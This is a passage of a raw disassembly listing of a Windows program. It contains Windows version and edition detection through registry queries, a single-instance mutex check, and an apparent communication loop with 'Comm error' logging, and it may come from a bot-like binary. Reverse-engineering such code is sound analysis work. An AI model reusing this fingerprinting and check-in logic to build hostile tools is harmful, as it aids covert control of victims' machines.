XREF: sub_404B2B+123j cmp dword ptr [ebp-0A0h], 1 jnz short loc_404C91 push offset aMicrosoftWin_2 ; "Microsoft Windows XP " jmp short loc_404CAE ; --------------------------------------------------------------------------- loc_404C91: ; CODE XREF: sub_404B2B+15Dj cmp [ebp-0A0h], ebx jnz short loc_404CB7 push offset aMicrosoftWin_3 ; "Microsoft Windows 2000 " jmp short loc_404CAE ; --------------------------------------------------------------------------- loc_404CA0: ; CODE XREF: sub_404B2B+11Aj cmp dword ptr [ebp-0A4h], 4 ja short loc_404CB7 push offset aMicrosoftWin_4 ; "Microsoft Windows NT " loc_404CAE: ; CODE XREF: sub_404B2B+136j ; sub_404B2B+14Dj ... lea eax, [ebp+8] loc_404CB1: ; CODE XREF: sub_404B2B+10Aj ; sub_404B2B+111j push eax call sub_401C66 loc_404CB7: ; CODE XREF: sub_404B2B+F6j ; sub_404B2B+16Cj ... test edi, edi mov ebx, dword_41C008 mov esi, 200h jz loc_404E14 cmp byte ptr [ebp-0Eh], 1 jnz short loc_404D0E cmp word ptr [ebp-0CCh], 9 jz loc_404F09 cmp dword ptr [ebp-0A4h], 4 lea eax, [ebp+8] jnz short loc_404CF4 push offset aWorkstation4_0 ; "Workstation 4.0 " jmp loc_404E09 ; --------------------------------------------------------------------------- loc_404CF4: ; CODE XREF: sub_404B2B+1BDj test [ebp-10h], si jz short loc_404D04 push offset aHomeEdition ; "Home Edition " jmp loc_404E09 ; --------------------------------------------------------------------------- loc_404D04: ; CODE XREF: sub_404B2B+1CDj push offset aProfessional ; "Professional " jmp loc_404E09 ; --------------------------------------------------------------------------- loc_404D0E: ; CODE XREF: sub_404B2B+1A3j cmp byte ptr [ebp-0Eh], 3 jz short loc_404D1E cmp byte ptr [ebp-0Eh], 2 jnz loc_404F09 loc_404D1E: ; CODE XREF: sub_404B2B+1E7j cmp dword ptr [ebp-0A4h], 5 jnz loc_404DF4 cmp dword ptr [ebp-0A0h], 2 jnz loc_404DC7 cmp word ptr [ebp-0CCh], 6 jnz short loc_404D60 test byte ptr [ebp-10h], 80h jz short loc_404D4F push offset aDatacenterEdit ; "Datacenter Edition for Itanium-based Sy"... jmp short loc_404D9C ; --------------------------------------------------------------------------- loc_404D4F: ; CODE XREF: sub_404B2B+21Bj test byte ptr [ebp-10h], 2 jz loc_404F9A push offset aEnterpriseEdit ; "Enterprise Edition for Itanium-based Sy"... jmp short loc_404D9C ; --------------------------------------------------------------------------- loc_404D60: ; CODE XREF: sub_404B2B+215j cmp word ptr [ebp-0CCh], 9 jnz short loc_404D91 test byte ptr [ebp-10h], 80h lea eax, [ebp+8] jz short loc_404D7D push offset aDatacenterX64E ; "Datacenter x64 Edition " jmp loc_404E09 ; --------------------------------------------------------------------------- loc_404D7D: ; CODE XREF: sub_404B2B+246j test byte ptr [ebp-10h], 2 jz short loc_404D8A push offset aEnterpriseX64E ; "Enterprise x64 Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404D8A: ; CODE XREF: sub_404B2B+256j push offset aStandardX64Edi ; "Standard x64 Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404D91: ; CODE XREF: sub_404B2B+23Dj test byte ptr [ebp-10h], 80h jz short loc_404DA1 push offset aDatacenterEd_0 ; "Datacenter Edition " loc_404D9C: ; CODE XREF: sub_404B2B+222j ; sub_404B2B+233j lea eax, [ebp+8] jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DA1: ; CODE XREF: sub_404B2B+26Aj test byte ptr [ebp-10h], 2 lea eax, [ebp+8] jz short loc_404DB1 push offset aEnterpriseEd_0 ; "Enterprise Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DB1: ; CODE XREF: sub_404B2B+27Dj test word ptr [ebp-10h], 400h jz short loc_404DC0 push offset aWebEdition ; "Web Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DC0: ; CODE XREF: sub_404B2B+28Cj push offset aStandardEditio ; "Standard Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DC7: ; CODE XREF: sub_404B2B+207j cmp dword ptr [ebp-0A0h], 0 jnz short loc_404DF4 test byte ptr [ebp-10h], 80h lea eax, [ebp+8] jz short loc_404DE0 push offset aDatacenterServ ; "Datacenter Server " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DE0: ; CODE XREF: sub_404B2B+2ACj test byte ptr [ebp-10h], 2 jz short loc_404DED push offset aAdvancedServer ; "Advanced Server " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DED: ; CODE XREF: sub_404B2B+2B9j push offset aServer ; "Server " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404DF4: ; CODE XREF: sub_404B2B+1FAj ; sub_404B2B+2A3j test byte ptr [ebp-10h], 2 lea eax, [ebp+8] jz short loc_404E04 push offset aServer4_0Enter ; "Server 4.0, Enterprise Edition " jmp short loc_404E09 ; --------------------------------------------------------------------------- loc_404E04: ; CODE XREF: sub_404B2B+2D0j push offset aServer4_0 ; "Server 4.0 " loc_404E09: ; CODE XREF: sub_404B2B+1C4j ; sub_404B2B+1D4j ... push eax call sub_401C66 jmp loc_404F09 ; --------------------------------------------------------------------------- loc_404E14: ; CODE XREF: sub_404B2B+199j lea eax, [ebp+0] push eax push 1 push 0 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Produc"... push 80000002h call ebx ; RegOpenKeyExA test eax, eax jz short loc_404E40 loc_404E2C: ; CODE XREF: sub_404B2B+345j ; sub_404B2B+34Aj mov ecx, [ebp+2Ch] push offset aUnknown ; "UNKNOWN" call sub_401C44 push 0 jmp loc_405068 ; --------------------------------------------------------------------------- loc_404E40: ; CODE XREF: sub_404B2B+2FFj push 50h pop esi lea eax, [ebp+4] push eax lea eax, [ebp-11Ch] push eax push 0 push 0 push offset aProducttype ; "ProductType" push dword ptr [ebp+0] mov [ebp+4], esi call dword_41C010 ; RegQueryValueExA push dword ptr [ebp+0] mov edi, eax call dword_41C000 ; RegCloseKey test edi, edi jnz short loc_404E2C cmp [ebp+4], esi ja short loc_404E2C mov esi, dword_41C0A8 lea eax, [ebp-11Ch] push eax push offset aWinnt ; "WINNT" call esi ; lstrcmpiA test eax, eax jnz short loc_404E96 push offset aWorkstation ; "Workstation " jmp short loc_404EC6 ; --------------------------------------------------------------------------- loc_404E96: ; CODE XREF: sub_404B2B+362j lea eax, [ebp-11Ch] push eax push offset aLanmannt ; "LANMANNT" call esi ; lstrcmpiA test eax, eax jnz short loc_404EAF push offset aServer ; "Server " jmp short loc_404EC6 ; --------------------------------------------------------------------------- loc_404EAF: ; CODE XREF: sub_404B2B+37Bj lea eax, [ebp-11Ch] push eax push offset aServernt ; "SERVERNT" call esi ; lstrcmpiA test eax, eax jnz short loc_404ECF push offset aAdvancedServer ; "Advanced Server " loc_404EC6: ; CODE XREF: sub_404B2B+369j ; sub_404B2B+382j lea eax, [ebp+8] push eax call sub_401C66 loc_404ECF: ; CODE XREF: sub_404B2B+394j push dword ptr [ebp-0A0h] lea eax, [ebp-31Ch] push dword ptr [ebp-0A4h] push offset aD_D ; "%d.%d " push 200h push eax call sub_40D9FB add esp, 14h lea eax, [ebp-31Ch] push eax lea eax, [ebp+8] push eax call sub_401C66 mov esi, 200h loc_404F09: ; CODE XREF: sub_404B2B+1ADj ; sub_404B2B+1EDj ... cmp dword ptr [ebp-0A4h], 4 jnz loc_404F9A push offset aServicePack6 ; "Service Pack 6" lea eax, [ebp-94h] push eax call dword_41C0A8 ; lstrcmpiA test eax, eax jnz short loc_404F9A lea eax, [ebp+4] push eax push 1 push 0 push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call ebx ; RegOpenKeyExA test eax, eax movzx eax, word ptr [ebp-9Ch] push eax jnz short loc_404F63 push offset aServicePack6aB ; "Service Pack 6a (Build %d)" lea eax, [ebp-31Ch] push esi push eax call sub_40D9FB add esp, 10h jmp short loc_404F7F ; --------------------------------------------------------------------------- loc_404F63: ; CODE XREF: sub_404B2B+41Fj lea eax, [ebp-94h] push eax push offset aSBuildD ; "%s (Build %d)" lea eax, [ebp-31Ch] push esi push eax call sub_40D9FB add esp, 14h loc_404F7F: ; CODE XREF: sub_404B2B+436j lea eax, [ebp-31Ch] push eax lea eax, [ebp+8] push eax call sub_401C66 push dword ptr [ebp+4] call dword_41C000 ; RegCloseKey jmp short loc_404FCE ; --------------------------------------------------------------------------- loc_404F9A: ; CODE XREF: sub_404B2B+228j ; sub_404B2B+3E5j ... movzx eax, word ptr [ebp-9Ch] push eax lea eax, [ebp-94h] push eax push offset aSBuildD ; "%s (Build %d)" lea eax, [ebp-31Ch] push esi push eax call sub_40D9FB add esp, 14h lea eax, [ebp-31Ch] push eax lea eax, [ebp+8] push eax call sub_401C66 loc_404FCE: ; CODE XREF: sub_404B2B+46Dj xor ebx, ebx jmp loc_40505B ; --------------------------------------------------------------------------- loc_404FD5: ; CODE XREF: sub_404B2B+DAj cmp dword ptr [ebp-0A4h], 4 jnz short loc_40505B cmp [ebp-0A0h], ebx jnz short loc_40500D push offset aMicrosoftWin_5 ; "Microsoft Windows 95 " lea eax, [ebp+8] push eax call sub_401C66 cmp byte ptr [ebp-93h], 43h jz short loc_405006 cmp byte ptr [ebp-93h], 42h jnz short loc_40505B loc_405006: ; CODE XREF: sub_404B2B+4D0j push offset aOsr2 ; "OSR2 " jmp short loc_405052 ; --------------------------------------------------------------------------- loc_40500D: ; CODE XREF: sub_404B2B+4B9j cmp dword ptr [ebp-0A0h], 0Ah jnz short loc_40503D push offset aMicrosoftWin_6 ; "Microsoft Windows 98 " lea eax, [ebp+8] push eax call sub_401C66 cmp byte ptr [ebp-93h], 41h jz short loc_405036 cmp byte ptr [ebp-93h], 42h jnz short loc_40505B loc_405036: ; CODE XREF: sub_404B2B+500j push offset aSe ; "SE " jmp short loc_405052 ; --------------------------------------------------------------------------- loc_40503D: ; CODE XREF: sub_404B2B+4E9j cmp dword ptr [ebp-0A0h], 5Ah jnz short loc_40505B push offset aMicrosoftWin_7 ; "Microsoft Windows Millennium Edition" jmp short loc_405052 ; --------------------------------------------------------------------------- loc_40504D: ; CODE XREF: sub_404B2B+D3j push offset aMicrosoftWin32 ; "Microsoft Win32s" loc_405052: ; CODE XREF: sub_404B2B+4E0j ; sub_404B2B+510j ... lea eax, [ebp+8] push eax call sub_401C66 loc_40505B: ; CODE XREF: sub_404B2B+E1j ; sub_404B2B+4A5j ... mov ecx, [ebp+2Ch] lea eax, [ebp+8] push eax call sub_401C1E loc_405067: ; CODE XREF: sub_404B2B+93j push ebx loc_405068: ; CODE XREF: sub_404B2B+310j push 1 lea ecx, [ebp+8] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, [ebp+2Ch] pop edi pop esi pop ebx mov large fs:0, ecx add ebp, 24h leave retn 4 sub_404B2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_405089 proc near ; CODE XREF: sub_402E1F+28p mov eax, offset loc_41B65B call sub_41AE44 sub esp, 74h push ebx push esi push edi mov [ebp-10h], esp xor esi, esi push esi lea ecx, [ebp-60h] mov dword ptr [ebp-48h], 0Fh call sub_401564 push offset aBlah ; "BLAH" push 1 push esi mov [ebp-4], esi call dword_41C0C8 ; CreateMutexA cmp eax, esi jz short loc_4050D0 call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4050D7 loc_4050D0: ; CODE XREF: sub_405089+38j push esi call dword_41C100 ; ExitProcess loc_4050D7: ; CODE XREF: sub_405089+45j call sub_4047AC loc_4050DC: ; CODE XREF: .vty:loc_4053EBj mov edi, [ebp+8] lea ebx, [edi+0D0h] mov ecx, ebx mov byte ptr [ebp-4], 1 mov [ebp-14h], ebx call sub_40B642 call sub_40399B mov esi, eax mov eax, edi call sub_403A28 or esi, eax call sub_403B47 or esi, eax call sub_401156 cmp dword ptr [eax+18h], 10h jb short loc_40511A mov eax, [eax+4] jmp short loc_40511D ; --------------------------------------------------------------------------- loc_40511A: ; CODE XREF: sub_405089+8Aj add eax, 4 loc_40511D: ; CODE XREF: sub_405089+8Fj push 10h push eax xor edi, edi lea eax, [ebp-74h] inc edi push eax mov [ebp-24h], edi mov dword ptr [ebp-20h], 24h mov dword ptr [ebp-7Ch], 1190006h mov dword ptr [ebp-78h], 204h call sub_410050 add esp, 0Ch push 0 push 7 push 5 push 4 lea eax, [ebp-7Ch] push eax mov [ebp-64h], esi push ebx lea esi, [ebp-24h] call sub_40BA6E add esp, 18h lea eax, [ebp-7Ch] push eax call sub_404B2B mov byte ptr [ebp-4], 2 cmp dword ptr [eax+18h], 10h jb short loc_40517A mov esi, [eax+4] jmp short loc_40517D ; --------------------------------------------------------------------------- loc_40517A: ; CODE XREF: sub_405089+EAj lea esi, [eax+4] loc_40517D: ; CODE XREF: sub_405089+EFj call sub_4024A7 push esi push offset aRunningOnS ; "Running on %s\n" push eax push 4 pop ecx call sub_40195C add esp, 0Ch push 0 push edi lea ecx, [ebp-7Ch] mov byte ptr [ebp-4], 1 call sub_4013C4 loc_4051A3: ; CODE XREF: sub_405089+243j mov eax, [ebp+8] mov eax, [eax+78h] test eax, eax jnz short loc_4051B2 push 2 pop esi jmp short loc_4051B5 ; --------------------------------------------------------------------------- loc_4051B2: ; CODE XREF: sub_405089+122j mov esi, [eax+14h] loc_4051B5: ; CODE XREF: sub_405089+127j call sub_4024A7 push esi lea ecx, [ebp-7Ch] push ecx mov ebx, eax call sub_401B38 push 0FFFFFFFFh xor ebx, ebx push ebx push eax lea ecx, [ebp-60h] mov byte ptr [ebp-4], 3 call sub_401315 push ebx push 1 lea ecx, [ebp-7Ch] mov byte ptr [ebp-4], 1 call sub_4013C4 mov eax, [ebp-4Ch] cmp eax, ebx jz short loc_405217 add eax, 8 cmp dword ptr [ebp-48h], 10h mov [ebp-28h], eax mov eax, [ebp-5Ch] mov dword ptr [ebp-2Ch], 5 jnb short loc_405207 lea eax, [ebp-5Ch] loc_405207: ; CODE XREF: sub_405089+179j push ebx push eax push dword ptr [ebp-14h] lea esi, [ebp-2Ch] call sub_40BA6E add esp, 0Ch loc_405217: ; CODE XREF: sub_405089+163j mov eax, [ebp+8] cmp [eax+50h], ebx jz short loc_405227 mov eax, [eax+78h] cmp [eax+18h], bl jz short loc_405247 loc_405227: ; CODE XREF: sub_405089+194j push 8 pop eax push ebx push 7 push eax push ebx push dword ptr [ebp-14h] lea esi, [ebp-34h] mov dword ptr [ebp-34h], 6 mov [ebp-30h], eax call sub_40BA6E add esp, 14h loc_405247: ; CODE XREF: sub_405089+19Cj push 3 pop edi push ebx push 7 push 6 push edi push 4 push ebx push dword ptr [ebp-14h] lea esi, [ebp-3Ch] mov [ebp-3Ch], edi mov dword ptr [ebp-38h], 8 call sub_40BA6E add esp, 1Ch cmp eax, edi jnz short loc_405291 loc_40526F: ; CODE XREF: sub_405089+206j mov esi, [ebp+8] push 0EA60h push dword ptr [esi+0D8h] call dword_41C084 ; WaitForSingleObject test eax, eax jz short loc_405294 push dword ptr [ebp-14h] call sub_40B774 jmp short loc_40526F ; --------------------------------------------------------------------------- loc_405291: ; CODE XREF: sub_405089+1E4j mov esi, [ebp+8] loc_405294: ; CODE XREF: sub_405089+1FCj lea edi, [esi+0B8h] push edi call dword_41C070 ; RtlEnterCriticalSection cmp [esi+0A0h], ebx jz short loc_4052BD add esi, 98h push esi push dword ptr [ebp-14h] call sub_40B7A2 call sub_4055A2 loc_4052BD: ; CODE XREF: sub_405089+21Ej push edi call dword_41C06C ; RtlLeaveCriticalSection push 32h call dword_41C090 ; Sleep jmp loc_4051A3 sub_405089 endp ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] cmp dword ptr [eax+14h], 0 jz short loc_4052FF cmp dword ptr [eax+18h], 10h jb short loc_4052E5 mov eax, [eax+4] jmp short loc_4052E8 ; --------------------------------------------------------------------------- loc_4052E5: ; CODE XREF: .vty:004052DEj add eax, 4 loc_4052E8: ; CODE XREF: .vty:004052E3j push eax push offset aCommErrorS ; "Comm error: %s\n" call sub_4024A7 push eax push 2 pop ecx call sub_40195C add esp, 0Ch loc_4052FF: ; CODE XREF: .vty:004052D8j mov edi, [ebp+8] mov ebx, dword_41C070 lea eax, [edi+108h] push eax call ebx ; RtlEnterCriticalSection lea esi, [edi+0F0h] jmp short loc_405330 ; --------------------------------------------------------------------------- loc_405319: ; CODE XREF: .vty:00405349j push 0FFFFFFFFh push dword ptr [edi+0D8h] call dword_41C084 ; WaitForSingleObject lea eax, [edi+108h] push eax call ebx ; RtlEnterCriticalSection loc_405330: ; CODE XREF: .vty:00405317j call sub_405D42 lea eax, [edi+108h] push eax call dword_41C06C ; RtlLeaveCriticalSection cmp dword ptr [edi+0DCh], 0 jg short loc_405319 lea eax, [edi+0B8h] push eax mov [ebp-18h], eax call ebx ; RtlEnterCriticalSection mov ebx, [edi+78h] test ebx, ebx jz short loc_405379 lea esi, [ebx+2Ch] call sub_405AAC lea esi, [ebx+1Ch] call sub_405AAC push ebx call sub_40DD8A and dword ptr [edi+78h], 0 pop ecx loc_405379: ; CODE XREF: .vty:0040535Cj lea esi, [edi+7Ch] mov ebx, [esi+8] cmp [esi+4], ebx jbe short loc_405389 call sub_40DCFC loc_405389: ; CODE XREF: .vty:00405382j mov eax, [esi+4] cmp eax, [esi+8] mov [ebp-14h], eax jbe short loc_40539C call sub_40DCFC mov eax, [ebp-14h] loc_40539C: ; CODE XREF: .vty:00405392j push ebx push esi push eax push esi lea eax, [ebp-44h] push eax call sub_405B80 lea esi, [edi+8Ch] call sub_4055A2 lea esi, [edi+98h] call sub_4055A2 lea esi, [edi+0A4h] call sub_4057CC push dword ptr [ebp-18h] and dword ptr [edi+0B4h], 0 call dword_41C06C ; RtlLeaveCriticalSection push 493E0h call dword_41C090 ; Sleep mov eax, offset loc_4053EB retn ; --------------------------------------------------------------------------- loc_4053EB: ; DATA XREF: .vty:004053E5o jmp loc_4050DC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053F0 proc near ; CODE XREF: sub_402F64+9Ep ; sub_402F64+AAp ... var_20 = byte ptr -20h var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 24h push ebx push esi mov esi, eax push edi lea eax, [ebp+var_18] mov ecx, esi call sub_405492 mov ecx, [eax] mov eax, [eax+4] mov [ebp+var_10], ecx mov [ebp+var_C], eax lea eax, [ebp+var_20] mov ecx, esi call sub_405472 mov edi, [eax] mov ebx, [eax+4] lea eax, [ebp+var_8] mov ecx, esi call sub_405472 push dword ptr [eax+4] push dword ptr [eax] push ebx push edi call sub_405E8F push ebx push edi push [ebp+var_C] mov [ebp+var_4], eax push [ebp+var_10] call sub_405E8F mov edi, [ebp+var_4] add esp, 20h push eax push edi mov ecx, esi call sub_4014F5 cmp dword ptr [esi+18h], 10h jb short loc_40545F mov eax, [esi+4] jmp short loc_405462 ; --------------------------------------------------------------------------- loc_40545F: ; CODE XREF: sub_4053F0+68j lea eax, [esi+4] loc_405462: ; CODE XREF: sub_4053F0+6Dj lea ebx, [eax+edi] lea edi, [ebp+var_10] call sub_405E52 pop edi pop esi pop ebx leave retn sub_4053F0 endp ; =============== S U B R O U T I N E ======================================= sub_405472 proc near ; CODE XREF: sub_402BCF+D2p ; sub_402BCF+ECp ... push ebx push esi mov esi, ecx cmp dword ptr [esi+18h], 10h push edi mov edi, eax jb short loc_405484 mov ebx, [esi+4] jmp short loc_405487 ; --------------------------------------------------------------------------- loc_405484: ; CODE XREF: sub_405472+Bj lea ebx, [esi+4] loc_405487: ; CODE XREF: sub_405472+10j call sub_405E52 mov eax, edi pop edi pop esi pop ebx retn sub_405472 endp ; =============== S U B R O U T I N E ======================================= sub_405492 proc near ; CODE XREF: sub_402BCF+DFp ; sub_4033DA+249p ... push ebx push esi mov esi, ecx cmp dword ptr [esi+18h], 10h push edi mov edi, eax jb short loc_4054A4 mov eax, [esi+4] jmp short loc_4054A7 ; --------------------------------------------------------------------------- loc_4054A4: ; CODE XREF: sub_405492+Bj lea eax, [esi+4] loc_4054A7: ; CODE XREF: sub_405492+10j mov ebx, [esi+14h] add ebx, eax call sub_405E52 mov eax, edi pop edi pop esi pop ebx retn sub_405492 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054B7 proc near ; CODE XREF: sub_402E64+3Dp var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [edi+14h] cmp eax, 1 push ebx push esi mov [ebp+var_4], 2Eh jb short loc_40551E dec eax cmp [ebp+arg_0], eax jnb short loc_4054D2 mov eax, [ebp+arg_0] loc_4054D2: ; CODE XREF: sub_4054B7+16j cmp dword ptr [edi+18h], 10h lea esi, [edi+4] jb short loc_4054DF mov ebx, [esi] jmp short loc_4054E1 ; --------------------------------------------------------------------------- loc_4054DF: ; CODE XREF: sub_4054B7+22j mov ebx, esi loc_4054E1: ; CODE XREF: sub_4054B7+26j add ebx, eax loc_4054E3: ; CODE XREF: sub_4054B7+57j mov al, [ebp+var_4] cmp [ebx], al jnz short loc_4054FD push 1 lea eax, [ebp+var_4] push eax push ebx call sub_40DED2 add esp, 0Ch test eax, eax jz short loc_405510 loc_4054FD: ; CODE XREF: sub_4054B7+31j cmp dword ptr [edi+18h], 10h jb short loc_405507 mov eax, [esi] jmp short loc_405509 ; --------------------------------------------------------------------------- loc_405507: ; CODE XREF: sub_4054B7+4Aj mov eax, esi loc_405509: ; CODE XREF: sub_4054B7+4Ej cmp ebx, eax jz short loc_40551E dec ebx jmp short loc_4054E3 ; --------------------------------------------------------------------------- loc_405510: ; CODE XREF: sub_4054B7+44j cmp dword ptr [edi+18h], 10h jb short loc_405518 mov esi, [esi] loc_405518: ; CODE XREF: sub_4054B7+5Dj sub ebx, esi mov eax, ebx jmp short loc_405521 ; --------------------------------------------------------------------------- loc_40551E: ; CODE XREF: sub_4054B7+10j ; sub_4054B7+54j or eax, 0FFFFFFFFh loc_405521: ; CODE XREF: sub_4054B7+65j pop esi pop ebx leave retn 4 sub_4054B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405527 proc near ; CODE XREF: sub_402E64+86p ; sub_402E64+D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0 mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_401564 push [ebp+arg_8] mov ecx, esi push [ebp+arg_4] push [ebp+arg_0] call sub_401315 mov eax, esi leave retn 0Ch sub_405527 endp ; =============== S U B R O U T I N E ======================================= sub_405555 proc near ; CODE XREF: sub_403151+171p ; sub_4072C2+1Ap ... mov ecx, [eax+4] test ecx, ecx jnz short loc_40555F xor eax, eax retn ; --------------------------------------------------------------------------- loc_40555F: ; CODE XREF: sub_405555+5j mov eax, [eax+8] sub eax, ecx push 5Ch cdq pop ecx idiv ecx retn sub_405555 endp ; =============== S U B R O U T I N E ======================================= sub_40556B proc near ; CODE XREF: sub_4027E7+FAp ; sub_40B49B+198p ... cmp dword ptr [esi], 0 jnz short loc_405575 call sub_40DCFC loc_405575: ; CODE XREF: sub_40556B+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+8] jb short loc_405584 call sub_40DCFC loc_405584: ; CODE XREF: sub_40556B+12j add dword ptr [esi+4], 5Ch mov eax, esi retn sub_40556B endp ; =============== S U B R O U T I N E ======================================= sub_40558B proc near ; CODE XREF: sub_40260A+80p ; sub_40260A+8Bp ... push esi mov esi, eax call sub_4055A2 push dword ptr [esi+4] call sub_40DD8A and dword ptr [esi+4], 0 pop ecx pop esi retn sub_40558B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055A2 proc near ; CODE XREF: sub_403151+AFp ; sub_405089+22Fp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, [esi+4] push ebx mov ebx, [eax] mov [eax], eax mov eax, [esi+4] mov [eax+4], eax and dword ptr [esi+8], 0 cmp ebx, [esi+4] jz short loc_4055E7 push edi loc_4055BE: ; CODE XREF: sub_4055A2+42j mov eax, [ebx] lea edi, [ebx+24h] mov [ebp+var_4], eax call sub_406C09 push 0 push 1 lea ecx, [ebx+8] call sub_4013C4 push ebx call sub_40DD8A mov ebx, [ebp+var_4] cmp ebx, [esi+4] pop ecx jnz short loc_4055BE pop edi loc_4055E7: ; CODE XREF: sub_4055A2+19j pop ebx leave retn sub_4055A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055EA proc near ; CODE XREF: sub_40290F+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_C] sub esp, 0Ch test eax, eax push ebx push esi jz short loc_4055FE cmp eax, [ebp+arg_14] jz short loc_405603 loc_4055FE: ; CODE XREF: sub_4055EA+Dj call sub_40DCFC loc_405603: ; CODE XREF: sub_4055EA+12j mov eax, [ebp+arg_10] cmp eax, [ebp+arg_18] jz short loc_405681 cmp [ebp+arg_0], edi jnz short loc_405629 mov eax, [ebp+arg_4] test eax, eax jz short loc_40561C cmp eax, [ebp+arg_14] jz short loc_405621 loc_40561C: ; CODE XREF: sub_4055EA+2Bj call sub_40DCFC loc_405621: ; CODE XREF: sub_4055EA+30j mov eax, [ebp+arg_8] cmp eax, [ebp+arg_18] jz short loc_405681 loc_405629: ; CODE XREF: sub_4055EA+24j xor ebx, ebx cmp [ebp+arg_0], edi jz short loc_405663 cmp [ebp+arg_C], ebx mov eax, [edi+4] mov esi, [eax] jz short loc_40563F cmp [ebp+arg_C], edi jz short loc_405644 loc_40563F: ; CODE XREF: sub_4055EA+4Ej call sub_40DCFC loc_405644: ; CODE XREF: sub_4055EA+53j cmp [ebp+arg_10], esi jnz short loc_405687 cmp [ebp+arg_14], ebx mov esi, [edi+4] jz short loc_405656 cmp [ebp+arg_14], edi jz short loc_40565B loc_405656: ; CODE XREF: sub_4055EA+65j call sub_40DCFC loc_40565B: ; CODE XREF: sub_4055EA+6Aj cmp [ebp+arg_18], esi jnz short loc_405687 mov ebx, [edi+8] loc_405663: ; CODE XREF: sub_4055EA+44j ; sub_4055EA+C0j push [ebp+arg_18] mov ecx, [ebp+arg_0] push [ebp+arg_14] mov eax, ebx push [ebp+arg_10] mov edx, edi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_405A06 loc_405681: ; CODE XREF: sub_4055EA+1Fj ; sub_4055EA+3Dj pop esi pop ebx leave retn 1Ch ; --------------------------------------------------------------------------- loc_405687: ; CODE XREF: sub_4055EA+5Dj ; sub_4055EA+74j mov eax, [ebp+arg_C] mov [ebp+var_C], eax mov eax, [ebp+arg_10] mov [ebp+var_8], eax loc_405693: ; CODE XREF: sub_4055EA+CBj mov eax, [ebp+var_C] test eax, eax jz short loc_40569F cmp eax, [ebp+arg_14] jz short loc_4056A4 loc_40569F: ; CODE XREF: sub_4055EA+AEj call sub_40DCFC loc_4056A4: ; CODE XREF: sub_4055EA+B3j mov eax, [ebp+var_8] cmp eax, [ebp+arg_18] jz short loc_405663 lea esi, [ebp+var_C] inc ebx call sub_405D8F jmp short loc_405693 sub_4055EA endp ; --------------------------------------------------------------------------- loc_4056B7: ; CODE XREF: .vty:0041B0A9j ; .vty:0041B183j ... jmp sub_405AAC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056BC proc near ; CODE XREF: .vty:00403989p ; sub_4076E5+13p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, eax cmp esi, ebx push edi jz loc_4057B0 mov eax, ebx call sub_4057B6 test eax, eax jnz short loc_4056E2 call sub_4057CC jmp loc_4057B0 ; --------------------------------------------------------------------------- loc_4056E2: ; CODE XREF: sub_4056BC+1Aj mov eax, ebx call sub_4057B6 mov edi, eax mov eax, esi call sub_4057B6 cmp edi, eax ja short loc_40571F push dword ptr [ebx+8] mov eax, [esi+4] mov ecx, [ebx+4] call sub_406A8F pop ecx push dword ptr [esi+8] call sub_405A8F mov eax, ebx call sub_4057B6 imul eax, 1Ch add eax, [esi+4] jmp loc_4057AD ; --------------------------------------------------------------------------- loc_40571F: ; CODE XREF: sub_4056BC+38j mov edi, [esi+4] test edi, edi jnz short loc_40572B and [ebp+var_4], edi jmp short loc_405739 ; --------------------------------------------------------------------------- loc_40572B: ; CODE XREF: sub_4056BC+68j mov eax, [esi+0Ch] sub eax, edi push 1Ch cdq pop ecx idiv ecx mov [ebp+var_4], eax loc_405739: ; CODE XREF: sub_4056BC+6Dj mov eax, ebx call sub_4057B6 cmp eax, [ebp+var_4] ja short loc_405767 mov eax, esi call sub_4057B6 mov ecx, [ebx+4] mov edi, eax mov eax, [esi+4] imul edi, 1Ch add edi, ecx push edi call sub_406A8F pop ecx push dword ptr [esi+8] mov ecx, edi jmp short loc_4057A5 ; --------------------------------------------------------------------------- loc_405767: ; CODE XREF: sub_4056BC+87j test edi, edi jz short loc_40577E push dword ptr [esi+8] mov eax, edi call sub_405A8F push dword ptr [esi+4] call sub_40DD8A pop ecx loc_40577E: ; CODE XREF: sub_4056BC+ADj mov eax, ebx call sub_4057B6 xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_4057B0 mov edi, esi call 